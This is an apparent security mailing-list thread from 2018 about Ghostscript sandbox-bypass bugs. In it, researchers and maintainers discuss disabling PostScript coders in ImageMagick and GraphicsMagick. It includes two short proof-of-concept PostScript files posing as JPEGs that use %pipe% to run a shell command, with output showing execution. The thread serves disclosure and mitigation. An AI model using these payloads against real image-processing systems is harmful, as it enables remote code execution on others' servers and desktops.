Re: Re: More Ghostscript Issues: Should we disable PS coders in policy.xml by default?

[Tavis Ormandy <taviso () google com>]

FWIW, I just pinged a contact to check that bug.

Putting the two ICC components together like that is clever, I knew about
the two bugs independently but it hadn't clicked they could be chained
together. Nice.

On Wed, Aug 22, 2018, 5:35 PM Tavis Ormandy <taviso () google com> wrote:

> Thanks Amit, that's scary, it looks like they're working on it right now.
>
> FWIW, I figured out how to reproduce the original bug here in
> evince-thumbnailer:
>
> $ cat test.jpeg
> %!PS
> a0
> { null restore } stopped { pop } if
> (ppmraw) selectdevice
> legal
> mark /OutputFile (%pipe%id) currentdevice putdeviceprops
> showpage
> $ strace -q -feexecve evince-thumbnailer  test.jpeg foo.out
> execve("/usr/bin/evince-thumbnailer", ["evince-thumbnailer", "test.jpeg",
> "foo.out"], 0x7ffeed3010d0 /* 65 vars */) = 0
> execve("/bin/sh", ["sh", "-c", "id"], 0x7ffcf3ea8d18 /* 65 vars */) = 0
>
> Tavis.
>
> On Wed, Aug 22, 2018 at 12:30 PM AmitB <me () amitbl com> wrote:
>
> > I also took a look a copule weeks ago at few of the patches for your
> > previous bugs from 2 years ago, and found that one of them is incomplete
> > and still allowing RCE (
> > https://bugs.ghostscript.com/show_bug.cgi?id=697178)
> >
> > POC:
> > ------------------
> > $ cat poc.jpg
> > %!PS
> > << (ICCProfilesDir) (%pipe%id > /dev/) >> .setuserparams
> > currentdevice null true mark /OutputICCProfile (tty)
> > .putdeviceparams
> > showpage
> > $ identify poc.jpg
> > uid=1000(amit) gid=1000(amit) groups=1000(amit)
> >
> > After reviewing all of the comments in the original bug report I saw that
> > you actually mentioned this issue, but it was not taken under
> > consideration/forgotten for some reason.
> > So effectively a public RCE PoC has been avaliable for GhostScript for
> > almost 2 years.
> >
> > I opened a report two weeks ago at bugs.ghostscript.com:
> > 699623 Incomplete fix for #697178 Allowing -dSAFER bypass
> >
> > But I got no response from them until today.
> > If you have others channels of contact with them please let them know
> > about
> > this one too.
> >
> > On Tue, Aug 21, 2018 at 11:12 PM, Tavis Ormandy <taviso () google com>
> > wrote:
> >
> > > Thanks Alex.
> > >
> > > FWIW, not all of these are visible, but I've started filing bugs, I'll
> > file
> > > a few more today and then let the developers work through the most
> > serious
> > > ones.
> > >
> > > 699654 /invalidaccess checks stop working after a failed restore
> > > 699655 missing type checking in setcolor
> > > 699656 LockDistillerParams boolean missing type checks
> > > 699659 missing type check in type checker (!)
> > > 699657 .tempfile SAFER restrictions seem to be broken
> > > 699658 Bypassing PermitFileReading by handling undefinedfilename error
> > > 699660 shading_param incomplete type checking
> > > 699661 pdf14 garbage collection memory corruption
> > > 699662 calling .bindnow causes sideeffects
> > > 699663 .setdistillerkeys memory corruption
> > > 699664 corrupt device object after error in job
> > >
> > > I'm working on getting reproducers working for the developers for all
> > bugs.
> > > On Tue, Aug 21, 2018 at 8:22 AM Alex Gaynor <alex.gaynor () gmail com>
> > wrote:
> > > > A small note. Both ImageMagick and GraphicsMagick process various file
> > > > formats that can nest a different image file inside of them. These are
> > > very
> > > > frequently implemented with a call to ReadImage(), with no checking
> > that
> > > > it's the expected file format. (As a result, the fuzzer finds various
> > > > impressive chains, with sometimes 3 different image formats nested
> > inside
> > > > of each other).
> > > >
> > > > The conclusion of this is that people _must not_ attempt to do their
> > own
> > > > format detection and then pass the data to IM/GM, because this can be
> > > > bypassed with nested formats. It's imperative that GS truly be
> > disabled
> > > > with either policy.xml or by uninstall GS.
> > > >
> > > > Alex
> > > >
> > > > On Tue, Aug 21, 2018 at 11:01 AM Bob Friesenhahn <
> > > > bfriesen () simple dallas tx us> wrote:
> > > >
> > > > > On Tue, 21 Aug 2018, Tavis Ormandy wrote:
> > > > > > I think those thumbnails should be disabled, but you've probably
> > > > noticed
> > > > > I
> > > > > > think everything related to untrusted ghostscript should be
> > disabled
> > > > :-)
> > > > > I have posted to the GraphicsMagick Announcements mailing list
> > > > > regarding your findings (with a link to this list) and suggested
> > that
> > > > > a fool-proof solution is that Ghostscript should be uninstalled.
> > > > >
> > > > > Uninstalling Ghostscript entirely might cause software using libgs
> > to
> > > > > not execute at all unless a stub library is put in its place.
> > > > >
> > > > > Dependencies on Ghostscript are much larger than one would initially
> > > > > think due to Postscript being the traditional output from Unix
> > > > > software for "printing" and thus it is used as an intermediate
> > format
> > > > > in order to convert between formats.  EPS content is also embedded
> > in
> > > > > some other formats.
> > > > >
> > > > > Bob
> > > > > --
> > > > > Bob Friesenhahn
> > > > > bfriesen () simple dallas tx us,
> > > > http://www.simplesystems.org/users/bfriesen/
> > > > > GraphicsMagick Maintainer,    http://www.GraphicsMagick.org/
> > > >
> > > >
> > > > --
> > > > All that is necessary for evil to succeed is for good people to do
> > > nothing.
> > > >